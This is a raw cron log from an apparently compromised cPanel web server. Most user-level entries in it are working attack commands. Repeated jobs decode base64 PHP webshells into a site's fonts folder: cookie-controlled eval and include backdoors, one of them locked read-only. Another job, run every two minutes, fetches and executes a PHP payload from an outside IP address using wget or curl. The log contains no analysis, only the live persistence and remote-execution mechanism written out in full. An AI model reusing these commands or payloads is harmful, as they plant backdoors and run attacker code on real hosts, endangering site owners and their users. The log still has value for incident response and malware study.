Sep  1 00:58:01 ip-184-168-122-23 CROND[22771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:58:01 ip-184-168-122-23 CROND[22772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:59:01 ip-184-168-122-23 CROND[22869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 00:59:01 ip-184-168-122-23 CROND[22871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 00:59:01 ip-184-168-122-23 CROND[22872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:59:01 ip-184-168-122-23 CROND[22873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:00:01 ip-184-168-122-23 CROND[23035]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:00:01 ip-184-168-122-23 CROND[23036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:00:01 ip-184-168-122-23 CROND[23041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:00:01 ip-184-168-122-23 CROND[23039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:00:01 ip-184-168-122-23 CROND[23040]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:00:01 ip-184-168-122-23 CROND[23042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:00:01 ip-184-168-122-23 CROND[23044]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 01:00:01 ip-184-168-122-23 CROND[23043]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:01:01 ip-184-168-122-23 CROND[23139]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 01:01:01 ip-184-168-122-23 CROND[23140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23139]: starting 0anacron
Sep  1 01:01:01 ip-184-168-122-23 CROND[23146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:01:01 ip-184-168-122-23 CROND[23148]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 01:01:01 ip-184-168-122-23 CROND[23151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:01:01 ip-184-168-122-23 CROND[23150]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:01:01 ip-184-168-122-23 anacron[23159]: Anacron started on 2026-09-01
Sep  1 01:01:01 ip-184-168-122-23 anacron[23159]: Normal exit (0 jobs run)
Sep  1 01:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23161]: finished 0anacron
Sep  1 01:02:01 ip-184-168-122-23 CROND[23236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:02:01 ip-184-168-122-23 CROND[23239]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:02:01 ip-184-168-122-23 CROND[23238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:02:01 ip-184-168-122-23 CROND[23240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:02:01 ip-184-168-122-23 CROND[23241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:03:01 ip-184-168-122-23 CROND[23324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:03:01 ip-184-168-122-23 CROND[23326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:03:01 ip-184-168-122-23 CROND[23328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:03:01 ip-184-168-122-23 CROND[23327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:04:02 ip-184-168-122-23 CROND[23410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:04:02 ip-184-168-122-23 CROND[23412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:04:02 ip-184-168-122-23 CROND[23411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:04:02 ip-184-168-122-23 CROND[23413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:04:02 ip-184-168-122-23 CROND[23414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:05:01 ip-184-168-122-23 CROND[23585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:05:01 ip-184-168-122-23 CROND[23588]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:05:01 ip-184-168-122-23 CROND[23587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:05:01 ip-184-168-122-23 CROND[23593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:05:01 ip-184-168-122-23 CROND[23590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:05:01 ip-184-168-122-23 CROND[23592]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:05:01 ip-184-168-122-23 CROND[23591]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 01:06:01 ip-184-168-122-23 CROND[23685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:06:01 ip-184-168-122-23 CROND[23687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:06:01 ip-184-168-122-23 CROND[23688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:06:01 ip-184-168-122-23 CROND[23686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:06:01 ip-184-168-122-23 CROND[23689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:07:01 ip-184-168-122-23 CROND[23778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:07:01 ip-184-168-122-23 CROND[23780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:07:01 ip-184-168-122-23 CROND[23779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:07:01 ip-184-168-122-23 CROND[23782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:08:01 ip-184-168-122-23 CROND[23858]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:08:01 ip-184-168-122-23 CROND[23860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:08:01 ip-184-168-122-23 CROND[23862]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:08:01 ip-184-168-122-23 CROND[23863]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:08:01 ip-184-168-122-23 CROND[23861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:09:01 ip-184-168-122-23 CROND[23945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:09:01 ip-184-168-122-23 CROND[23947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 01:09:01 ip-184-168-122-23 CROND[23950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 01:09:01 ip-184-168-122-23 CROND[23952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:09:01 ip-184-168-122-23 CROND[23951]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 01:10:01 ip-184-168-122-23 CROND[24039]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 01:10:01 ip-184-168-122-23 CROND[24042]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:10:01 ip-184-168-122-23 CROND[24044]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
